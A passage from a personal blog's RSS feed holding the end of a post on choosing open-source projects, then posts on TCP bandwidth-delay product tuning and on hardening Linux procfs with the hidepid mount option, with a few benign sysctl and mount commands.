&lt;p&gt;A good counter example to this might be WordPress. While Matt Mullenweg does not seem to contribute code, he essentially remains the voice of the project. As of at least last year, an increased public interest has occurred to discuss switching from WordPress to a differing framework. My own blog is no longer based on WordPress.&lt;/p&gt;
&lt;p&gt;Choose &lt;strong&gt;good&lt;/strong&gt; projects based on personality that are made with passion and an obvious love for people to simply use their work, even if they are not as cutting edge.&lt;/p&gt;
</content:encoded><dc:creator>Roscoe Skeens - My Blog</dc:creator><pubDate>Thu, 20 Mar 2025 00:00:00 GMT</pubDate></item><item><title>Distance Affects Throughput</title><link>https://blog.rskeens.com/blog/distance-affects-throughput/</link><guid isPermaLink="true">https://blog.rskeens.com/blog/distance-affects-throughput/</guid><description>Round Trip Time and Bandwidth - Delay Product</description><content:encoded>&lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://blog.rskeens.com/blog/distance-affects-throughput/&quot;&gt;https://blog.rskeens.com/blog/distance-affects-throughput/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;Offsite backups are important but Round Trip Time should be taken into careful consideration. TCP connections can be severely hampered under certain conditions from what is known as “Bandwidth - Delay Product” and Wikipedia has the following descriptive article:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In data communications, bandwidth-delay product refers to the product of a data link’s capacity (in bits per second) and its round-trip delay time (in seconds). The result, an amount of data measured in bits (or bytes), is equivalent &amp;gt; to the maximum amount of data on the network circuit at any given time, i.e., data that has been transmitted but not yet acknowledged.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To use an extreme example, a tiny 64kB TCP buffer size would constrain a 100MiB/s interface to 2.6MiB/s if there is a consistent 200ms latency whereas a 50ms latency would allow 10.5 MiB/s.&lt;/p&gt;
&lt;p&gt;Fortunately modern systems are no longer defaulted with a small TCP buffer size but tweaks were required prior to kernel 2.6. The following system parameters can be explored:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;proc.sys.net.core.wmem_max (Maximum send window size)
proc.sys.net.core.rmem_max (Maximum receive window size)
proc.sys.net.ipv4.tcp_wmem (Reserved memory for TCP send buffer)
proc.sys.net.ipv4.tcp_rmem (Reserved memory for TCP receive buffer)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Always be overly cautious when increasing buffers on production servers because it can potentially cause instability. Improvements can be seen immediately for FTP / FTPS over long inflight time but there will still be circumstances where changes won’t seem to show any effect even with the best of configurations in place, such as when &lt;code&gt;SO_SNDBUF&lt;/code&gt; and &lt;code&gt;SO_RCVBUF&lt;/code&gt; are static for &lt;code&gt;setsockopt()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Sender side autotuning has been present for quite some time but receiver limits are now usually included and this can be verified by reading &lt;code&gt;net.ipv4.tcp_window_scaling&lt;/code&gt; and &lt;code&gt;net.ipv4.tcp_moderate_rcvbuf&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sysctl net.ipv4.tcp_window_scaling net.ipv4.tcp_moderate_rcvbuf
net.ipv4.tcp_window_scaling = 1
net.ipv4.tcp_moderate_rcvbuf = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Interestingly SSH2 multiplexes sessions over a TCP connection, which means patches to OpenSSH such as High Performance SSH/SCP are necessary to attain greater transfer rates for the likes of SCP.&lt;/p&gt;
</content:encoded><dc:creator>Roscoe Skeens - My Blog</dc:creator><pubDate>Sun, 30 Oct 2016 00:00:00 GMT</pubDate></item><item><title>Harden procfs using hidepid</title><link>https://blog.rskeens.com/blog/harden-procfs/</link><guid isPermaLink="true">https://blog.rskeens.com/blog/harden-procfs/</guid><description>Process privacy for multi tenant environments</description><content:encoded>&lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://blog.rskeens.com/blog/harden-procfs/&quot;&gt;https://blog.rskeens.com/blog/harden-procfs/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;The objective of &lt;code&gt;hidepid&lt;/code&gt; is to ensure privacy concerning process information for standard users and its presence can prove beneficial for a multi tenant environment.&lt;/p&gt;
&lt;p&gt;Wikipedia’s article related to procfs describes it as follows:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;procfs (or the proc filesystem) is a special filesystem in Unix-like operating systems that presents information about processes and other system information in a hierarchical file-like structure, providing a more convenient and 
standardized method for dynamically accessing process data held in the kernel than traditional tracing methods or direct access to kernel memory.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Linux Kernel version 3.3 initially introduced the hidepid mount option for procfs quite some time ago but its usage isn’t always implemented. CentOS 6.3 and above have since offered full support for its usage. In the past the kernel source &lt;code&gt;fs/proc/base.c&lt;/code&gt; needed to manually be patched with the line below to achieve the same capability:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;inode-&amp;gt;i_mode = S_IFDIR|S_IRUSR|S_IXUSR;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The following options can be defined for hidepid:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;hidepid=0: Disable hidepid.
hidepid=1: Users other than root are only capable of realising information regarding their own processes but can still manually inspect /proc to gather references such as Process IDs.
hidepid=2: The ideal setting which will ensure privacy of /proc amongst standard users.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;One factor to keep in mind is hidepid will not protect actual processes which do exist – it serves to only make process information more private.&lt;/p&gt;
&lt;p&gt;Aside from modifying the system’s &lt;code&gt;fstab&lt;/code&gt;, &lt;code&gt;hidepid&lt;/code&gt; can be activated by remounting &lt;code&gt;/proc&lt;/code&gt; as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mount -o remount,hidepid=2 /proc
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><dc:creator>Roscoe Skeens - My Blog</dc:creator><pubDate>Thu, 02 Apr 2015 00:00:00 GMT</pubDate></item></channel></rss>